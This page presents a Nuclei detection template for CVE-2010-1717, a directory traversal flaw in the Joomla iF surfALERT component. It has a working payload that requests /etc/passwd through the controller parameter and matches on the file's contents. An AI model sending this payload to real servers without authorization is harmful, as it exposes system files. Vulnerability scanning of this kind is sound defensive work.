Joomla! Component iF surfALERT 1.2 - Local File Inclusion

ID: CVE-2010-1717

Severity: high

Author: daffainfo

Tags: cve,cve2010,joomla,lfi,edb,if_surfalert_project,joomla\!

Description

A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

YAML Source

id: CVE-2010-1717

info:
  name: Joomla! Component iF surfALERT 1.2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component iF surfALERT to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12291
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1717
    - http://www.vupen.com/english/advisories/2010/0924
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2010-1717
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1717
    cwe-id: CWE-22
    epss-score: 0.01733
    epss-percentile: 0.87598
    cpe: cpe:2.3:a:if_surfalert_project:if_surfalert:1.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: if_surfalert_project
    product: if_surfalert
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,if_surfalert_project,joomla\!

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022075bf9943652c65745220aefcde31153504134364a5e1cd49b5c1aab888240e9e022100f771e85d2c0a05f3ffcfa1aadde13766062fc8297d9531c0e4a90725ca94ed81:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-1717.yaml"

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